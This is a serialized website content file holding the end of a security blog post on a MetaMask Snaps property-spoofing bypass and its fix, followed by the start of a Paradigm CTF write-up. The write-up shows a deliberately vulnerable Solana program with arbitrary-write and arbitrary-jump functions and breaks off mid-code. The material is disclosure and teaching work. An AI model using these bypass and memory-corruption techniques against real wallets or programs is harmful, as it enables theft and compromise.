OnRpcRequestHandler",{"type":24,"tag":147,"props":45719,"children":45720},{"style":241},[45721],{"type":29,"value":651},{"type":24,"tag":147,"props":45723,"children":45724},{"style":235},[45725],{"type":29,"value":45726}," ({ ",{"type":24,"tag":147,"props":45728,"children":45729},{"style":247},[45730],{"type":29,"value":45731},"origin",{"type":24,"tag":147,"props":45733,"children":45734},{"style":235},[45735],{"type":29,"value":546},{"type":24,"tag":147,"props":45737,"children":45738},{"style":247},[45739],{"type":29,"value":37093},{"type":24,"tag":147,"props":45741,"children":45742},{"style":235},[45743],{"type":29,"value":45744}," }) ",{"type":24,"tag":147,"props":45746,"children":45747},{"style":218},[45748],{"type":29,"value":20435},{"type":24,"tag":147,"props":45750,"children":45751},{"style":235},[45752],{"type":29,"value":6630},{"type":24,"tag":147,"props":45754,"children":45755},{"class":149,"line":1938},[45756],{"type":24,"tag":147,"props":45757,"children":45758},{"emptyLinePlaceholder":16},[45759],{"type":29,"value":314},{"type":24,"tag":147,"props":45761,"children":45762},{"class":149,"line":1946},[45763,45768,45772,45776,45780,45784],{"type":24,"tag":147,"props":45764,"children":45765},{"style":321},[45766],{"type":29,"value":45767},"  switch",{"type":24,"tag":147,"props":45769,"children":45770},{"style":235},[45771],{"type":29,"value":408},{"type":24,"tag":147,"props":45773,"children":45774},{"style":247},[45775],{"type":29,"value":37093},{"type":24,"tag":147,"props":45777,"children":45778},{"style":235},[45779],{"type":29,"value":87},{"type":24,"tag":147,"props":45781,"children":45782},{"style":247},[45783],{"type":29,"value":43910},{"type":24,"tag":147,"props":45785,"children":45786},{"style":235},[45787],{"type":29,"value":505},{"type":24,"tag":147,"props":45789,"children":45790},{"class":149,"line":1955},[45791,45796,45801],{"type":24,"tag":147,"props":45792,"children":45793},{"style":321},[45794],{"type":29,"value":45795},"    case",{"type":24,"tag":147,"props":45797,"children":45798},{"style":3534},[45799],{"type":29,"value":45800}," 'json'",{"type":24,"tag":147,"props":45802,"children":45803},{"style":235},[45804],{"type":29,"value":11192},{"type":24,"tag":147,"props":45806,"children":45807},{"class":149,"line":29376},[45808,45812,45816],{"type":24,"tag":147,"props":45809,"children":45810},{"style":321},[45811],{"type":29,"value":3966},{"type":24,"tag":147,"props":45813,"children":45814},{"style":229},[45815],{"type":29,"value":45195},{"type":24,"tag":147,"props":45817,"children":45818},{"style":235},[45819],{"type":29,"value":9295},{"type":24,"tag":147,"props":45821,"children":45822},{"class":149,"line":29384},[45823,45827,45832],{"type":24,"tag":147,"props":45824,"children":45825},{"style":321},[45826],{"type":29,"value":45795},{"type":24,"tag":147,"props":45828,"children":45829},{"style":3534},[45830],{"type":29,"value":45831}," 'transaction'",{"type":24,"tag":147,"props":45833,"children":45834},{"style":235},[45835],{"type":29,"value":11192},{"type":24,"tag":147,"props":45837,"children":45838},{"class":149,"line":29421},[45839,45843,45847],{"type":24,"tag":147,"props":45840,"children":45841},{"style":321},[45842],{"type":29,"value":3966},{"type":24,"tag":147,"props":45844,"children":45845},{"style":229},[45846],{"type":29,"value":45427},{"type":24,"tag":147,"props":45848,"children":45849},{"style":235},[45850],{"type":29,"value":9295},{"type":24,"tag":147,"props":45852,"children":45853},{"class":149,"line":29434},[45854,45859],{"type":24,"tag":147,"props":45855,"children":45856},{"style":321},[45857],{"type":29,"value":45858},"    default",{"type":24,"tag":147,"props":45860,"children":45861},{"style":235},[45862],{"type":29,"value":11192},{"type":24,"tag":147,"props":45864,"children":45865},{"class":149,"line":29447},[45866,45871,45875,45880,45884,45889],{"type":24,"tag":147,"props":45867,"children":45868},{"style":321},[45869],{"type":29,"value":45870},"      throw",{"type":24,"tag":147,"props":45872,"children":45873},{"style":218},[45874],{"type":29,"value":37533},{"type":24,"tag":147,"props":45876,"children":45877},{"style":229},[45878],{"type":29,"value":45879}," Error",{"type":24,"tag":147,"props":45881,"children":45882},{"style":235},[45883],{"type":29,"value":480},{"type":24,"tag":147,"props":45885,"children":45886},{"style":3534},[45887],{"type":29,"value":45888},"'Method not found.'",{"type":24,"tag":147,"props":45890,"children":45891},{"style":235},[45892],{"type":29,"value":1473},{"type":24,"tag":147,"props":45894,"children":45895},{"class":149,"line":29460},[45896],{"type":24,"tag":147,"props":45897,"children":45898},{"style":235},[45899],{"type":29,"value":11496},{"type":24,"tag":147,"props":45901,"children":45902},{"class":149,"line":29514},[45903],{"type":24,"tag":147,"props":45904,"children":45905},{"style":235},[45906],{"type":29,"value":1120},{"type":24,"tag":25,"props":45908,"children":45909},{},[45910,45912,45918,45920,45925],{"type":29,"value":45911},"We set ",{"type":24,"tag":80,"props":45913,"children":45915},{"className":45914},[],[45916],{"type":29,"value":45917},"x.method = \"snap_dialog\"",{"type":29,"value":45919}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":80,"props":45921,"children":45923},{"className":45922},[],[45924],{"type":29,"value":45127},{"type":29,"value":45926}," after.",{"type":24,"tag":43,"props":45928,"children":45930},{"id":45929},"mitigation",[45931],{"type":29,"value":45932},"Mitigation",{"type":24,"tag":25,"props":45934,"children":45935},{},[45936,45938,45943,45945,45952],{"type":29,"value":45937},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":80,"props":45939,"children":45941},{"className":45940},[],[45942],{"type":29,"value":44673},{"type":29,"value":45944}," function execution. The patch was introduced on commit ",{"type":24,"tag":2773,"props":45946,"children":45949},{"href":45947,"rel":45948},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[2777],[45950],{"type":29,"value":45951},"168ff08",{"type":29,"value":45953}," with the following changes:",{"type":24,"tag":137,"props":45955,"children":45959},{"className":45956,"code":45957,"language":45958,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[45960],{"type":24,"tag":80,"props":45961,"children":45962},{"__ignoreMap":7},[45963,45971,45979,45987,45995],{"type":24,"tag":147,"props":45964,"children":45965},{"class":149,"line":150},[45966],{"type":24,"tag":147,"props":45967,"children":45968},{"style":235},[45969],{"type":29,"value":45970},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":147,"props":45972,"children":45973},{"class":149,"line":160},[45974],{"type":24,"tag":147,"props":45975,"children":45976},{"style":3534},[45977],{"type":29,"value":45978},"-      assertEthereumOutboundRequest(args);\n",{"type":24,"tag":147,"props":45980,"children":45981},{"class":149,"line":169},[45982],{"type":24,"tag":147,"props":45983,"children":45984},{"style":3534},[45985],{"type":29,"value":45986},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":147,"props":45988,"children":45989},{"class":149,"line":178},[45990],{"type":24,"tag":147,"props":45991,"children":45992},{"style":705},[45993],{"type":29,"value":45994},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":147,"props":45996,"children":45997},{"class":149,"line":187},[45998],{"type":24,"tag":147,"props":45999,"children":46000},{"style":705},[46001],{"type":29,"value":46002},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":32,"props":46004,"children":46005},{"id":8458},[46006],{"type":29,"value":8461},{"type":24,"tag":25,"props":46008,"children":46009},{},[46010],{"type":29,"value":46011},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":25,"props":46013,"children":46014},{},[46015],{"type":29,"value":46016},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":24,"tag":8473,"props":46018,"children":46019},{},[46020],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":46022},[46023,46024,46031,46039],{"id":24562,"depth":160,"text":24565},{"id":41053,"depth":160,"text":41056,"children":46025},[46026,46027,46028,46029,46030],{"id":41064,"depth":169,"text":41067},{"id":41132,"depth":169,"text":41135},{"id":41168,"depth":169,"text":41171},{"id":42563,"depth":169,"text":42566},{"id":42920,"depth":169,"text":42923},{"id":43705,"depth":160,"text":43708,"children":46032},[46033,46034,46035,46036,46037,46038],{"id":43711,"depth":169,"text":43714},{"id":43755,"depth":169,"text":43758},{"id":44659,"depth":169,"text":44662},{"id":11286,"depth":169,"text":11289},{"id":45100,"depth":169,"text":40430},{"id":45929,"depth":169,"text":45932},{"id":8458,"depth":160,"text":8461},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":46044,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46045,"description":46046,"author":46047,"image":46049,"date":46051,"isFeatured":16,"onBlogPage":16,"body":46052,"_type":8496,"_id":51471,"_source":8498,"_file":51472,"_stem":51473,"_extension":8501},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[46048,11344],"nicola",{"src":46050},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":46053,"toc":51460},[46054,46068,46088,46093,46097,46110,46135,46141,46146,46161,46514,46529,46794,46810,47453,47459,47464,47477,47485,47697,47705,48008,48016,48159,48167,48692,48698,48710,48723,48737,48742,49510,49515,49523,49528,49534,49546,49611,49616,49629,49642,49648,49676,50827,50840,50882,50887,50892,50906,51046,51067,51088,51095,51146,51154,51165,51178,51183,51307,51320,51422,51426,51439,51444,51456],{"type":24,"tag":25,"props":46055,"children":46056},{},[46057,46059,46066],{"type":29,"value":46058},"In the world of CTFs, ",{"type":24,"tag":2773,"props":46060,"children":46063},{"href":46061,"rel":46062},"https://twitter.com/paradigm_ctf",[2777],[46064],{"type":29,"value":46065},"Paradigm CTF 2023",{"type":29,"value":46067}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":25,"props":46069,"children":46070},{},[46071,46073,46080,46081],{"type":29,"value":46072},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":2773,"props":46074,"children":46077},{"href":46075,"rel":46076},"https://osec.io/blog/2022-03-14-solana-security-intro",[2777],[46078],{"type":29,"value":46079},"Solana: An Auditor's Introduction",{"type":29,"value":855},{"type":24,"tag":2773,"props":46082,"children":46085},{"href":46083,"rel":46084},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[2777],[46086],{"type":29,"value":46087},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":25,"props":46089,"children":46090},{},[46091],{"type":29,"value":46092},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":32,"props":46094,"children":46095},{"id":24562},[46096],{"type":29,"value":24565},{"type":24,"tag":25,"props":46098,"children":46099},{},[46100,46102,46108],{"type":29,"value":46101},"The challenge itself resides into ",{"type":24,"tag":80,"props":46103,"children":46105},{"className":46104},[],[46106],{"type":29,"value":46107},"framework/",{"type":29,"value":46109},", and is composed of 2 parts:",{"type":24,"tag":22292,"props":46111,"children":46112},{},[46113,46124],{"type":24,"tag":2678,"props":46114,"children":46115},{},[46116,46122],{"type":24,"tag":80,"props":46117,"children":46119},{"className":46118},[],[46120],{"type":29,"value":46121},"framework/chall/lib.rs",{"type":29,"value":46123},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":2678,"props":46125,"children":46126},{},[46127,46133],{"type":24,"tag":80,"props":46128,"children":46130},{"className":46129},[],[46131],{"type":29,"value":46132},"framework/src/main.rs",{"type":29,"value":46134},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":43,"props":46136,"children":46138},{"id":46137},"vulnerable-program",[46139],{"type":29,"value":46140},"Vulnerable Program",{"type":24,"tag":25,"props":46142,"children":46143},{},[46144],{"type":29,"value":46145},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":2674,"props":46147,"children":46148},{},[46149],{"type":24,"tag":2678,"props":46150,"children":46151},{},[46152,46153,46159],{"type":29,"value":13105},{"type":24,"tag":80,"props":46154,"children":46156},{"className":46155},[],[46157],{"type":29,"value":46158},"data[0] == 0",{"type":29,"value":46160}," a function that lets you write-what-where is executed",{"type":24,"tag":137,"props":46162,"children":46164},{"className":8614,"code":46163,"language":8613,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[46165],{"type":24,"tag":80,"props":46166,"children":46167},{"__ignoreMap":7},[46168,46176,46221,46232,46354,46471,46500,46507],{"type":24,"tag":147,"props":46169,"children":46170},{"class":149,"line":150},[46171],{"type":24,"tag":147,"props":46172,"children":46173},{"style":235},[46174],{"type":29,"value":46175},"#[inline(never)]\n",{"type":24,"tag":147,"props":46177,"children":46178},{"class":149,"line":160},[46179,46183,46187,46192,46196,46200,46204,46208,46212,46216],{"type":24,"tag":147,"props":46180,"children":46181},{"style":218},[46182],{"type":29,"value":19307},{"type":24,"tag":147,"props":46184,"children":46185},{"style":218},[46186],{"type":29,"value":19312},{"type":24,"tag":147,"props":46188,"children":46189},{"style":229},[46190],{"type":29,"value":46191}," write",{"type":24,"tag":147,"props":46193,"children":46194},{"style":235},[46195],{"type":29,"value":480},{"type":24,"tag":147,"props":46197,"children":46198},{"style":247},[46199],{"type":29,"value":1139},{"type":24,"tag":147,"props":46201,"children":46202},{"style":241},[46203],{"type":29,"value":978},{"type":24,"tag":147,"props":46205,"children":46206},{"style":241},[46207],{"type":29,"value":12767},{"type":24,"tag":147,"props":46209,"children":46210},{"style":235},[46211],{"type":29,"value":9358},{"type":24,"tag":147,"props":46213,"children":46214},{"style":9044},[46215],{"type":29,"value":2625},{"type":24,"tag":147,"props":46217,"children":46218},{"style":235},[46219],{"type":29,"value":46220},"]) {\n",{"type":24,"tag":147,"props":46222,"children":46223},{"class":149,"line":169},[46224,46228],{"type":24,"tag":147,"props":46225,"children":46226},{"style":218},[46227],{"type":29,"value":19449},{"type":24,"tag":147,"props":46229,"children":46230},{"style":235},[46231],{"type":29,"value":6630},{"type":24,"tag":147,"props":46233,"children":46234},{"class":149,"line":178},[46235,46239,46243,46247,46252,46256,46260,46264,46269,46273,46278,46282,46286,46290,46294,46298,46302,46306,46310,46314,46318,46322,46326,46330,46334,46338,46342,46346,46350],{"type":24,"tag":147,"props":46236,"children":46237},{"style":218},[46238],{"type":29,"value":8696},{"type":24,"tag":147,"props":46240,"children":46241},{"style":247},[46242],{"type":29,"value":19473},{"type":24,"tag":147,"props":46244,"children":46245},{"style":241},[46246],{"type":29,"value":651},{"type":24,"tag":147,"props":46248,"children":46249},{"style":235},[46250],{"type":29,"value":46251}," std",{"type":24,"tag":147,"props":46253,"children":46254},{"style":241},[46255],{"type":29,"value":9106},{"type":24,"tag":147,"props":46257,"children":46258},{"style":235},[46259],{"type":29,"value":2993},{"type":24,"tag":147,"props":46261,"children":46262},{"style":241},[46263],{"type":29,"value":9106},{"type":24,"tag":147,"props":46265,"children":46266},{"style":229},[46267],{"type":29,"value":46268},"transmute",{"type":24,"tag":147,"props":46270,"children":46271},{"style":241},[46272],{"type":29,"value":9106},{"type":24,"tag":147,"props":46274,"children":46275},{"style":235},[46276],{"type":29,"value":46277},"\u003C[",{"type":24,"tag":147,"props":46279,"children":46280},{"style":9044},[46281],{"type":29,"value":2625},{"type":24,"tag":147,"props":46283,"children":46284},{"style":235},[46285],{"type":29,"value":22832},{"type":24,"tag":147,"props":46287,"children":46288},{"style":705},[46289],{"type":29,"value":9700},{"type":24,"tag":147,"props":46291,"children":46292},{"style":235},[46293],{"type":29,"value":28662},{"type":24,"tag":147,"props":46295,"children":46296},{"style":241},[46297],{"type":29,"value":244},{"type":24,"tag":147,"props":46299,"children":46300},{"style":218},[46301],{"type":29,"value":9348},{"type":24,"tag":147,"props":46303,"children":46304},{"style":9044},[46305],{"type":29,"value":11484},{"type":24,"tag":147,"props":46307,"children":46308},{"style":235},[46309],{"type":29,"value":13236},{"type":24,"tag":147,"props":46311,"children":46312},{"style":247},[46313],{"type":29,"value":1139},{"type":24,"tag":147,"props":46315,"children":46316},{"style":235},[46317],{"type":29,"value":9358},{"type":24,"tag":147,"props":46319,"children":46320},{"style":241},[46321],{"type":29,"value":8683},{"type":24,"tag":147,"props":46323,"children":46324},{"style":705},[46325],{"type":29,"value":9700},{"type":24,"tag":147,"props":46327,"children":46328},{"style":235},[46329],{"type":29,"value":21023},{"type":24,"tag":147,"props":46331,"children":46332},{"style":241},[46333],{"type":29,"value":87},{"type":24,"tag":147,"props":46335,"children":46336},{"style":229},[46337],{"type":29,"value":31763},{"type":24,"tag":147,"props":46339,"children":46340},{"style":235},[46341],{"type":29,"value":19495},{"type":24,"tag":147,"props":46343,"children":46344},{"style":241},[46345],{"type":29,"value":87},{"type":24,"tag":147,"props":46347,"children":46348},{"style":229},[46349],{"type":29,"value":9290},{"type":24,"tag":147,"props":46351,"children":46352},{"style":235},[46353],{"type":29,"value":21037},{"type":24,"tag":147,"props":46355,"children":46356},{"class":149,"line":187},[46357,46361,46366,46370,46374,46378,46382,46386,46390,46394,46398,46402,46406,46410,46414,46418,46422,46426,46430,46434,46438,46443,46447,46451,46455,46459,46463,46467],{"type":24,"tag":147,"props":46358,"children":46359},{"style":218},[46360],{"type":29,"value":8696},{"type":24,"tag":147,"props":46362,"children":46363},{"style":247},[46364],{"type":29,"value":46365}," val",{"type":24,"tag":147,"props":46367,"children":46368},{"style":241},[46369],{"type":29,"value":651},{"type":24,"tag":147,"props":46371,"children":46372},{"style":235},[46373],{"type":29,"value":46251},{"type":24,"tag":147,"props":46375,"children":46376},{"style":241},[46377],{"type":29,"value":9106},{"type":24,"tag":147,"props":46379,"children":46380},{"style":235},[46381],{"type":29,"value":2993},{"type":24,"tag":147,"props":46383,"children":46384},{"style":241},[46385],{"type":29,"value":9106},{"type":24,"tag":147,"props":46387,"children":46388},{"style":229},[46389],{"type":29,"value":46268},{"type":24,"tag":147,"props":46391,"children":46392},{"style":241},[46393],{"type":29,"value":9106},{"type":24,"tag":147,"props":46395,"children":46396},{"style":235},[46397],{"type":29,"value":46277},{"type":24,"tag":147,"props":46399,"children":46400},{"style":9044},[46401],{"type":29,"value":2625},{"type":24,"tag":147,"props":46403,"children":46404},{"style":235},[46405],{"type":29,"value":22832},{"type":24,"tag":147,"props":46407,"children":46408},{"style":705},[46409],{"type":29,"value":9700},{"type":24,"tag":147,"props":46411,"children":46412},{"style":235},[46413],{"type":29,"value":28662},{"type":24,"tag":147,"props":46415,"children":46416},{"style":9044},[46417],{"type":29,"value":13668},{"type":24,"tag":147,"props":46419,"children":46420},{"style":235},[46421],{"type":29,"value":13236},{"type":24,"tag":147,"props":46423,"children":46424},{"style":247},[46425],{"type":29,"value":1139},{"type":24,"tag":147,"props":46427,"children":46428},{"style":235},[46429],{"type":29,"value":9358},{"type":24,"tag":147,"props":46431,"children":46432},{"style":705},[46433],{"type":29,"value":9700},{"type":24,"tag":147,"props":46435,"children":46436},{"style":241},[46437],{"type":29,"value":8683},{"type":24,"tag":147,"props":46439,"children":46440},{"style":705},[46441],{"type":29,"value":46442},"16",{"type":24,"tag":147,"props":46444,"children":46445},{"style":235},[46446],{"type":29,"value":21023},{"type":24,"tag":147,"props":46448,"children":46449},{"style":241},[46450],{"type":29,"value":87},{"type":24,"tag":147,"props":46452,"children":46453},{"style":229},[46454],{"type":29,"value":31763},{"type":24,"tag":147,"props":46456,"children":46457},{"style":235},[46458],{"type":29,"value":19495},{"type":24,"tag":147,"props":46460,"children":46461},{"style":241},[46462],{"type":29,"value":87},{"type":24,"tag":147,"props":46464,"children":46465},{"style":229},[46466],{"type":29,"value":9290},{"type":24,"tag":147,"props":46468,"children":46469},{"style":235},[46470],{"type":29,"value":21037},{"type":24,"tag":147,"props":46472,"children":46473},{"class":149,"line":196},[46474,46479,46483,46488,46492,46496],{"type":24,"tag":147,"props":46475,"children":46476},{"style":247},[46477],{"type":29,"value":46478},"        ptr",{"type":24,"tag":147,"props":46480,"children":46481},{"style":241},[46482],{"type":29,"value":87},{"type":24,"tag":147,"props":46484,"children":46485},{"style":229},[46486],{"type":29,"value":46487},"write_volatile",{"type":24,"tag":147,"props":46489,"children":46490},{"style":235},[46491],{"type":29,"value":480},{"type":24,"tag":147,"props":46493,"children":46494},{"style":247},[46495],{"type":29,"value":18250},{"type":24,"tag":147,"props":46497,"children":46498},{"style":235},[46499],{"type":29,"value":1473},{"type":24,"tag":147,"props":46501,"children":46502},{"class":149,"line":205},[46503],{"type":24,"tag":147,"props":46504,"children":46505},{"style":235},[46506],{"type":29,"value":1952},{"type":24,"tag":147,"props":46508,"children":46509},{"class":149,"line":214},[46510],{"type":24,"tag":147,"props":46511,"children":46512},{"style":235},[46513],{"type":29,"value":827},{"type":24,"tag":2674,"props":46515,"children":46516},{"start":160},[46517],{"type":24,"tag":2678,"props":46518,"children":46519},{},[46520,46521,46527],{"type":29,"value":13105},{"type":24,"tag":80,"props":46522,"children":46524},{"className":46523},[],[46525],{"type":29,"value":46526},"data[0] == 1",{"type":29,"value":46528},", a CPI to a non-existent program is executed:",{"type":24,"tag":137,"props":46530,"children":46532},{"className":8614,"code":46531,"language":8613,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[46533],{"type":24,"tag":80,"props":46534,"children":46535},{"__ignoreMap":7},[46536,46543,46587,46612,46642,46682,46703,46710,46717,46729,46745,46757,46768,46787],{"type":24,"tag":147,"props":46537,"children":46538},{"class":149,"line":150},[46539],{"type":24,"tag":147,"props":46540,"children":46541},{"style":235},[46542],{"type":29,"value":46175},{"type":24,"tag":147,"props":46544,"children":46545},{"class":149,"line":160},[46546,46550,46554,46559,46563,46567,46571,46575,46579,46583],{"type":24,"tag":147,"props":46547,"children":46548},{"style":218},[46549],{"type":29,"value":19307},{"type":24,"tag":147,"props":46551,"children":46552},{"style":218},[46553],{"type":29,"value":19312},{"type":24,"tag":147,"props":46555,"children":46556},{"style":229},[46557],{"type":29,"value":46558}," call",{"type":24,"tag":147,"props":46560,"children":46561},{"style":235},[46562],{"type":29,"value":480},{"type":24,"tag":147,"props":46564,"children":46565},{"style":247},[46566],{"type":29,"value":1139},{"type":24,"tag":147,"props":46568,"children":46569},{"style":241},[46570],{"type":29,"value":978},{"type":24,"tag":147,"props":46572,"children":46573},{"style":241},[46574],{"type":29,"value":12767},{"type":24,"tag":147,"props":46576,"children":46577},{"style":235},[46578],{"type":29,"value":9358},{"type":24,"tag":147,"props":46580,"children":46581},{"style":9044},[46582],{"type":29,"value":2625},{"type":24,"tag":147,"props":46584,"children":46585},{"style":235},[46586],{"type":29,"value":46220},{"type":24,"tag":147,"props":46588,"children":46589},{"class":149,"line":169},[46590,46594,46599,46603,46608],{"type":24,"tag":147,"props":46591,"children":46592},{"style":218},[46593],{"type":29,"value":8634},{"type":24,"tag":147,"props":46595,"children":46596},{"style":247},[46597],{"type":29,"value":46598}," ix",{"type":24,"tag":147,"props":46600,"children":46601},{"style":241},[46602],{"type":29,"value":651},{"type":24,"tag":147,"props":46604,"children":46605},{"style":9044},[46606],{"type":29,"value":46607}," Instruction",{"type":24,"tag":147,"props":46609,"children":46610},{"style":235},[46611],{"type":29,"value":6630},{"type":24,"tag":147,"props":46613,"children":46614},{"class":149,"line":178},[46615,46620,46624,46629,46633,46638],{"type":24,"tag":147,"props":46616,"children":46617},{"style":247},[46618],{"type":29,"value":46619},"        program_id",{"type":24,"tag":147,"props":46621,"children":46622},{"style":241},[46623],{"type":29,"value":978},{"type":24,"tag":147,"props":46625,"children":46626},{"style":229},[46627],{"type":29,"value":46628}," pubkey!",{"type":24,"tag":147,"props":46630,"children":46631},{"style":235},[46632],{"type":29,"value":480},{"type":24,"tag":147,"props":46634,"children":46635},{"style":3534},[46636],{"type":29,"value":46637},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":147,"props":46639,"children":46640},{"style":235},[46641],{"type":29,"value":12362},{"type":24,"tag":147,"props":46643,"children":46644},{"class":149,"line":187},[46645,46650,46654,46658,46662,46666,46670,46674,46678],{"type":24,"tag":147,"props":46646,"children":46647},{"style":247},[46648],{"type":29,"value":46649},"        data",{"type":24,"tag":147,"props":46651,"children":46652},{"style":241},[46653],{"type":29,"value":978},{"type":24,"tag":147,"props":46655,"children":46656},{"style":247},[46657],{"type":29,"value":1103},{"type":24,"tag":147,"props":46659,"children":46660},{"style":241},[46661],{"type":29,"value":87},{"type":24,"tag":147,"props":46663,"children":46664},{"style":229},[46665],{"type":29,"value":31763},{"type":24,"tag":147,"props":46667,"children":46668},{"style":235},[46669],{"type":29,"value":19495},{"type":24,"tag":147,"props":46671,"children":46672},{"style":241},[46673],{"type":29,"value":87},{"type":24,"tag":147,"props":46675,"children":46676},{"style":229},[46677],{"type":29,"value":9290},{"type":24,"tag":147,"props":46679,"children":46680},{"style":235},[46681],{"type":29,"value":9116},{"type":24,"tag":147,"props":46683,"children":46684},{"class":149,"line":196},[46685,46690,46694,46698],{"type":24,"tag":147,"props":46686,"children":46687},{"style":247},[46688],{"type":29,"value":46689},"        accounts",{"type":24,"tag":147,"props":46691,"children":46692},{"style":241},[46693],{"type":29,"value":978},{"type":24,"tag":147,"props":46695,"children":46696},{"style":229},[46697],{"type":29,"value":9353},{"type":24,"tag":147,"props":46699,"children":46700},{"style":235},[46701],{"type":29,"value":46702},"[]\n",{"type":24,"tag":147,"props":46704,"children":46705},{"class":149,"line":205},[46706],{"type":24,"tag":147,"props":46707,"children":46708},{"style":235},[46709],{"type":29,"value":44594},{"type":24,"tag":147,"props":46711,"children":46712},{"class":149,"line":214},[46713],{"type":24,"tag":147,"props":46714,"children":46715},{"emptyLinePlaceholder":16},[46716],{"type":29,"value":314},{"type":24,"tag":147,"props":46718,"children":46719},{"class":149,"line":272},[46720,46725],{"type":24,"tag":147,"props":46721,"children":46722},{"style":229},[46723],{"type":29,"value":46724},"    invoke_signed_unchecked",{"type":24,"tag":147,"props":46726,"children":46727},{"style":235},[46728],{"type":29,"value":9088},{"type":24,"tag":147,"props":46730,"children":46731},{"class":149,"line":281},[46732,46736,46741],{"type":24,"tag":147,"props":46733,"children":46734},{"style":241},[46735],{"type":29,"value":9096},{"type":24,"tag":147,"props":46737,"children":46738},{"style":247},[46739],{"type":29,"value":46740},"ix",{"type":24,"tag":147,"props":46742,"children":46743},{"style":235},[46744],{"type":29,"value":1549},{"type":24,"tag":147,"props":46746,"children":46747},{"class":149,"line":299},[46748,46752],{"type":24,"tag":147,"props":46749,"children":46750},{"style":241},[46751],{"type":29,"value":9096},{"type":24,"tag":147,"props":46753,"children":46754},{"style":235},[46755],{"type":29,"value":46756},"[],\n",{"type":24,"tag":147,"props":46758,"children":46759},{"class":149,"line":308},[46760,46764],{"type":24,"tag":147,"props":46761,"children":46762},{"style":241},[46763],{"type":29,"value":9096},{"type":24,"tag":147,"props":46765,"children":46766},{"style":235},[46767],{"type":29,"value":46756},{"type":24,"tag":147,"props":46769,"children":46770},{"class":149,"line":317},[46771,46775,46779,46783],{"type":24,"tag":147,"props":46772,"children":46773},{"style":235},[46774],{"type":29,"value":9281},{"type":24,"tag":147,"props":46776,"children":46777},{"style":241},[46778],{"type":29,"value":87},{"type":24,"tag":147,"props":46780,"children":46781},{"style":229},[46782],{"type":29,"value":9290},{"type":24,"tag":147,"props":46784,"children":46785},{"style":235},[46786],{"type":29,"value":9295},{"type":24,"tag":147,"props":46788,"children":46789},{"class":149,"line":332},[46790],{"type":24,"tag":147,"props":46791,"children":46792},{"style":235},[46793],{"type":29,"value":827},{"type":24,"tag":2674,"props":46795,"children":46796},{"start":169},[46797],{"type":24,"tag":2678,"props":46798,"children":46799},{},[46800,46802,46808],{"type":29,"value":46801},"Finally, if ",{"type":24,"tag":80,"props":46803,"children":46805},{"className":46804},[],[46806],{"type":29,"value":46807},"data[0]",{"type":29,"value":46809}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":137,"props":46811,"children":46813},{"className":8614,"code":46812,"language":8613,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    